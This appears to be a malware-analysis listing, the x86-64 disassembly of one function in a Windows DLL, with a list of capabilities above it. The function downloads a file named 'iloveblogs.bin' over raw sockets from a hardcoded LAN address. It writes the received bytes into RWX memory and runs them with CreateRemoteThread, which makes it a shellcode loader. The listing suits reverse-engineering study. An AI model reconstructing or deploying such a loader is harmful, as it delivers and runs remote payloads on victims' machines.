Function at 0x180001070
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Initialize winsock library
Inject thread
Receive data
Receive data on socket
Resolve dns
Resume thread
Send data
Send data on socket
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rsp - 0x1310]
mov eax, 0x1410
call fcn.180013d70
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1300], rax
xor r12d, r12d
lea rsi, str.192.168.1.131
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x48], r12
mov r8, rdi
nop
inc r8
cmp byte [rsi + r8], r12b
jne 0x1800010c0
inc r8
mov qword [rsp + 0x20], rdi
mov r9, rsi
lea rdx, [rbp + 0x230]
lea rcx, [rsp + 0x48]
call fcn.180007140
xor edx, edx
mov qword [rsp + 0x40], r12
mov r8d, 0x103
mov byte [rbp + 0x120], r12b
lea rcx, [rbp + 0x121]
mov r14, rdi
call fcn.180013fc0
lea rdx, str.GET__
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.iloveblogs.bin
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0x300]
mov r8d, 0x1000
call fcn.180013fc0
mov ecx, 0x202
lea rdx, [rbp - 0x80]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000116a
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.180001010
jmp 0x180001480
xorps xmm0, xmm0
mov dword [rsp + 0x50], r12d
xorps xmm1, xmm1
mov dword [rsp + 0x54], 2
lea r9, [rsp + 0x40]
mov dword [rsp + 0x58], 1
lea r8, [rsp + 0x50]
mov dword [rsp + 0x5c], 6
lea rdx, [0x180020a90]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
movdqu xmmword [rsp + 0x70], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1800011d0
mov edx, eax
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.180001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x180001480
mov qword [rsp + 0x1430], rbx
mov rbx, qword [rsp + 0x40]
test rbx, rbx
je 0x180001266
nop word [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r14, rax
cmp rax, rdi
je 0x180001285
lea r8, [0x180020a90]
mov rdx, rsi
lea rcx, str.___Connect_to__s:_s
call fcn.180001010
mov r8d, dword [rbx + 0x10]
mov rcx, r14
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, edi
jne 0x180001261
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800011f0
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.180001010
jmp 0x180001472
mov rbx, qword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp r14, rdi
jne 0x18000129e
lea rcx, str.Unable_to_connect_to_server__n
call fcn.180001010
jmp 0x180001472
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.180001010
jmp 0x180001472
lea rax, [rbp + 0x120]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x1800012a5
mov r8, rdi
lea rdx, [rbp + 0x120]
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1800012e2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.180001010
jmp 0x180001469
mov edx, eax
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.180001010
mov edx, 1
mov rcx, r14
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x18000131c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.180001010
jmp 0x180001469
mov qword [rsp + 0x1438], r15
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
lea rdx, [rbp + 0x300]
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.WS2_32.dll_recv]
mov r15d, eax
test eax, eax
jle 0x18000135b
mov edx, eax
lea rcx, str.___Received__d_Bytes_n
jmp 0x18000137d
test r15d, r15d
jne 0x18000136e
lea rcx, str.___Connection_closed_n
call fcn.180001010
jmp 0x180001382
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.180001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x1000
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 1
mov qword [rsp + 0x20], r12
mov rdx, rax
mov r8d, 0x1000
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x30], r12
mov r9, rdi
mov dword [rsp + 0x28], 4
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, 0x3e8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x1fffff
mov qword [rsp + 0x20], r12
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x300]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r15d, r15d
jg 0x180001330
mov r15, qword [rsp + 0x1438]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbx, qword [rsp + 0x1430]
mov rcx, qword [rbp + 0x1300]
xor rcx, rsp
call fcn.1800014e0
lea r11, [rsp + 0x1410]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret